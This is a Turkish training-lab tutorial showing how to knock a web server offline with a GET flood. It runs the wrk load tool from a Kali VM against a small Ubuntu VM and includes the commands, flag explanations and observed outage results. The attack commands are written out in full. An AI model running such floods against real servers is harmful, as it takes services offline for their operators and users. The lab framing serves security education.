WRK Tool'u ile Bir Web Sunucuya GET Flood DoS Saldırısı

(+) Birebir belirtilen host’lar üzerinde saldırı vm’leri denenmiştir ve sorunsuz başarıyla uygulanmıştır.

* Ubuntu 22.04 LTS Host   // İş Laptop’ı
* Windows 10 Host   // iş Laptop’ı

  • Gereksinim

    • Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM // Saldırgan
    • Get Flood DoS - Ubuntu 18.04 LTS VM // Hedef

  • Hazırlık

    • Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM sistem ayarları şöyle yapılır:

      32 GB RAM
      4 CPU

    • Get Flood DoS - Ubuntu 18.04 LTS VM sistem ayarları şöyle yapılır:

      512 MB RAM
      1 CPU

    • Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM terminal ekranından saldırı için gerekli araçlar indirilir ve kurulur.

      Kali 2023.1 Terminal: 

      setxkbmap tr
apt-get update
apt-get install wrk


      Kurulum sırasında paketi yükle seçeneğine:
[YES]
	
Kurulum sırasında servislerin restart’lanacağı bilgisine:
[YES]


      apt-get install vnstat

    • Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM’den hedef web adrese erişilir ve sayfanın anlık cevap verebildiği gözlemlenir.

  • Saldırı

    Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM Terminal: 

    ulimit -n							// check current ulimit value
ulimit -n 1024000					// set new ulimit value

wrk -t12 -c400 -d1h --timeout 1h --latency http://HEDEF_VM_ADDRESS/test.ova &
wrk -t12 -c400 -d1h --timeout 1h --latency http://HEDEF_VM_ADDRESS/test.ova &
wrk -t12 -c400 -d1h --timeout 1h --latency http://HEDEF_VM_ADDRESS/test.ova &


    -t		: iş parçacığı sayısı (thread) 
-c		: bağlantı sayısı (connection) 
-d		: saldırının ne kadar süre süreceği 
                  bilgisi (duration)
--timeout	: isteklere gelecek yanıtları 
                  bekleme süresi bilgisi
--latency	: Komut sonlandırıldığında gecikme 
                  istatistik bilgilerini ekrana verme

    Çıktı:



    Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM Terminal 2: 

    vnstat --style 4 -l -i eth0		// Makinalar Host-Only’de İken

    Çıktı:





    #1




    #2

  • Erişim Kontrol

    • Web Tarayıcı:

      > http://HEDEF_VM_IP_ADDRESS

      Çıktı:



      ( Sürekli Yükleniyor Ekranı )



  • Saldırı Sonlandırma

    Kali 2023.1 (Windows Host Üzerinden Web Güvenliği Eğitimi) VM Terminal: 

    ps aux | grep "wrk"
pkill wrk

  • Gözlemler

    • Saldırı başlatıldıktan sonra 30 saniye içerisinde erişimler gidiyor.

    • Saldırı epey bir müddet sürdürüldüğünde ve sonlandırıldığında hedef vm’e erişimler halen gelmiyor ve hedef vm’in restart’lanması gerekiyor.

  • EK: Demo Video



    Tam Ekran İzlemek İçin Video Ekranının Sağ üstündeki Butona Tıklayınız


  • EK: Materyaller

Bu yazı 15.10.2024 tarihinde, saat 14:41:40'de yazılmıştır. 15.10.2024 tarihi ve 13:18:49 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 149
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv

#Giriş
ID :
Şifre :